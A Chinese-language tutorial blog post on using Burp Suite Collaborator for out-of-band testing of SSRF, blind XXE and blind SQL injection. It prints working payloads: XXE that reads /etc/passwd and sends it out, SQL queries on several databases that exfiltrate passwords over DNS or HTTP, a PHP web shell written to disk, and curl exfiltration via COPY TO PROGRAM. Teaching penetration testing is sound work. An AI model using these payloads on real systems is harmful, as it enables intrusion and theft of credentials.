Burp Suite Collaborator 外帶攻擊測試

Burp Suite Collaborator Out-of-Band Testing

Collaborator 概述

Burp Suite Collaborator 是 Burp Suite Professional 中一個強大的外帶(Out-of-Band, OOB)測試功能。它提供了一個外部伺服器,可以接收來自目標應用程式的各種網路互動,包括 DNS 查詢、HTTP 請求和 SMTP 連線等。

為什麼需要 Collaborator?

在滲透測試過程中,某些漏洞無法透過直接觀察回應來確認,例如:

  • Blind SQL Injection:注入成功但回應不包含查詢結果
  • Blind XXE:XML 外部實體注入但無法直接取得資料
  • SSRF:伺服器端請求偽造但無法觀察結果
  • 非同步執行的漏洞:攻擊執行時間與回應時間不一致

Collaborator 透過監聽這些「帶外」的網路互動,讓測試人員能夠確認漏洞是否存在。

Collaborator 的運作原理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
┌─────────────┐     1. 注入 Payload      ┌─────────────┐
   攻擊者     ─────────────────────────▶│  目標應用   
  (Burp)                                  程式      
└─────────────┘                           └──────┬──────┘
                                                
                                                 2. 發送 DNS/HTTP
        3. 接收互動記錄                              請求到 Collaborator
                                                
                                      ┌─────────────────┐
       └───────────────────────────────│  Collaborator   
                                           Server       
                                       └─────────────────┘

Out-of-Band 技術說明

Out-of-Band(OOB)技術是指透過不同於主要通訊管道的方式來傳輸資料或確認漏洞。這種技術在以下情況特別有用:

OOB 攻擊類型

類型說明常見應用
DNS OOB透過 DNS 查詢外帶資料Blind XXE、SSRF、SQL Injection
HTTP OOB透過 HTTP 請求外帶資料SSRF、RCE、XXE
SMTP OOB透過郵件傳送資料電子郵件注入

DNS OOB 的優勢

DNS 外帶攻擊特別有效,因為:

  1. 防火牆通常允許 DNS 流量:大多數網路環境允許對外 DNS 查詢
  2. 可繞過出口過濾:即使 HTTP 被阻擋,DNS 通常仍可運作
  3. 低偵測機率:DNS 查詢較不容易被安全設備識別為攻擊行為

設定 Collaborator

啟用 Collaborator Client

  1. 開啟 Burp Suite Professional
  2. 前往 Burp > Collaborator client
  3. 點擊「Copy to clipboard」取得 Collaborator 網域

取得 Collaborator Payload

1
2
# 典型的 Collaborator 網域格式
abc123def456.oastify.com

設定選項

Project options > Misc > Burp Collaborator Server 中可以設定:

  • Poll over HTTPS:使用 HTTPS 輪詢結果
  • Poll over unencrypted HTTP:使用 HTTP 輪詢
  • Server location:選擇使用預設伺服器或自訂伺服器
1
2
3
4
# 查看 Collaborator 設定
Project options > Misc > Burp Collaborator Server
☑ Use the default Collaborator server
☐ Use a private Collaborator server

DNS 互動測試

DNS 互動是最常見的 OOB 測試方式,因為 DNS 流量幾乎不會被阻擋。

基本 DNS 測試

使用 Collaborator 進行 DNS 測試:

1
2
3
4
5
# 在測試環境中嘗試解析 Collaborator 網域
nslookup abc123def456.oastify.com

# 或使用 dig
dig abc123def456.oastify.com

在 Payload 中嵌入資料

可以將資料嵌入 DNS 子網域中:

1
2
3
4
5
# 基本格式
{data}.abc123def456.oastify.com

# 範例:外帶使用者名稱
${username}.abc123def456.oastify.com

檢視 DNS 互動

在 Collaborator client 中點擊「Poll now」,可以看到:

  • 時間戳記:DNS 查詢發生的時間
  • 來源 IP:發起查詢的 DNS 伺服器 IP
  • 查詢的網域名稱:完整的查詢網域

HTTP 互動測試

HTTP 互動可以傳輸更多資料,並且可以包含請求內容。

基本 HTTP 測試

1
2
3
4
5
# 使用 curl 測試
curl http://abc123def456.oastify.com

# 帶有自訂路徑
curl http://abc123def456.oastify.com/exfil?data=sensitive

透過 HTTP 外帶資料

1
2
GET /exfiltrate?data=admin:password123 HTTP/1.1
Host: abc123def456.oastify.com

檢視 HTTP 互動

Collaborator 會記錄完整的 HTTP 請求,包括:

  • 請求方法和路徑
  • 所有 HTTP 標頭
  • 請求主體(Body)
  • 來源 IP 位址

SSRF 偵測

Server-Side Request Forgery(SSRF)是 Collaborator 最常用的偵測場景之一。

基本 SSRF 測試

1
2
3
4
5
6
7
8
# 原始請求
POST /api/fetch-url HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/json

{
  "url": "https://abc123def456.oastify.com/ssrf-test"
}

常見 SSRF 注入點

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# URL 參數
GET /proxy?url=http://abc123def456.oastify.com HTTP/1.1

# Referer 標頭
GET /page HTTP/1.1
Host: target.com
Referer: http://abc123def456.oastify.com

# X-Forwarded-Host 標頭
GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: abc123def456.oastify.com

SSRF 進階技巧

1
2
3
4
5
# 使用重導向繞過
GET /fetch?url=http://attacker.com/redirect?to=http://abc123def456.oastify.com

# DNS Rebinding
http://abc123def456.oastify.com.attacker.com

XXE 偵測

XML External Entity(XXE)注入是另一個適合使用 Collaborator 偵測的漏洞。

Blind XXE 測試

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://abc123def456.oastify.com/xxe-test">
]>
<root>
  <data>&xxe;</data>
</root>

使用參數實體的 XXE

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://abc123def456.oastify.com/xxe">
  %xxe;
]>
<root>test</root>

外帶資料的 XXE

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://abc123def456.oastify.com/evil.dtd">
  %dtd;
]>
<root>&send;</root>

惡意 DTD 檔案(evil.dtd):

1
2
<!ENTITY % all "<!ENTITY send SYSTEM 'http://abc123def456.oastify.com/?data=%file;'>">
%all;

Blind SQL Injection

當 SQL 注入無法直接回顯結果時,可以使用 Collaborator 進行外帶。

MySQL OOB

1
2
3
4
5
# 使用 LOAD_FILE 觸發 DNS 查詢
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.abc123def456.oastify.com\\a'));

# 使用 INTO OUTFILE(需要權限)
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '\\\\abc123def456.oastify.com\\a';

Microsoft SQL Server OOB

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# 使用 xp_dirtree
EXEC master..xp_dirtree '\\abc123def456.oastify.com\a'

# 使用 xp_fileexist
EXEC master..xp_fileexist '\\abc123def456.oastify.com\a'

# 外帶資料
DECLARE @data varchar(1024);
SELECT @data = password FROM users WHERE username = 'admin';
EXEC('master..xp_dirtree "\\' + @data + '.abc123def456.oastify.com\a"')

Oracle OOB

1
2
3
4
5
# 使用 UTL_HTTP
SELECT UTL_HTTP.REQUEST('http://abc123def456.oastify.com/'||(SELECT password FROM users WHERE ROWNUM=1)) FROM dual

# 使用 UTL_INADDRDNS
SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT password FROM users WHERE ROWNUM=1)||'.abc123def456.oastify.com') FROM dual

PostgreSQL OOB

1
2
3
4
5
# 使用 COPY
COPY (SELECT password FROM users) TO PROGRAM 'curl http://abc123def456.oastify.com/?data='||password

# 使用 dblink(需要擴充)
SELECT dblink_send_query('host=abc123def456.oastify.com dbname=test', 'SELECT 1')

私有 Collaborator Server

在某些情況下,您可能需要部署私有的 Collaborator Server。

部署需求

  • 一個公開可存取的伺服器
  • 一個您控制的網域名稱
  • 有效的 SSL 憑證(建議)

設定步驟

  1. 準備網域 DNS 設定
1
2
3
4
# DNS 記錄設定範例
collaborator.yourdomain.com    A       YOUR_SERVER_IP
ns1.collaborator.yourdomain.com    A   YOUR_SERVER_IP
*.collaborator.yourdomain.com  NS  ns1.collaborator.yourdomain.com
  1. 設定 Collaborator Server

建立設定檔 collaborator.config

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
{
  "serverDomain": "collaborator.yourdomain.com",
  "workerThreads": 10,
  "eventCapture": {
    "localAddress": ["YOUR_SERVER_IP"],
    "publicAddress": "YOUR_SERVER_IP",
    "http": {
      "ports": 80
    },
    "https": {
      "ports": 443
    },
    "smtp": {
      "ports": [25, 587]
    },
    "smtps": {
      "ports": 465
    },
    "ssl": {
      "certificateFiles": [
        "/path/to/privkey.pem",
        "/path/to/fullchain.pem"
      ]
    }
  },
  "polling": {
    "localAddress": "YOUR_SERVER_IP",
    "publicAddress": "YOUR_SERVER_IP",
    "http": {
      "port": 9090
    },
    "https": {
      "port": 9443
    }
  },
  "dns": {
    "interfaces": [{
      "localAddress": "YOUR_SERVER_IP",
      "publicAddress": "YOUR_SERVER_IP"
    }],
    "ports": 53
  }
}
  1. 啟動 Collaborator Server
1
java -jar burp_collaborator.jar --config-file=collaborator.config
  1. 在 Burp Suite 中設定

前往 Project options > Misc > Burp Collaborator Server

  • 選擇「Use a private Collaborator server」
  • 輸入您的 Collaborator 伺服器位址

安全考量

  • 確保 Collaborator Server 有適當的存取控制
  • 定期更新 SSL 憑證
  • 監控伺服器日誌以偵測異常活動
  • 考慮使用防火牆限制存取來源

參考資料

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy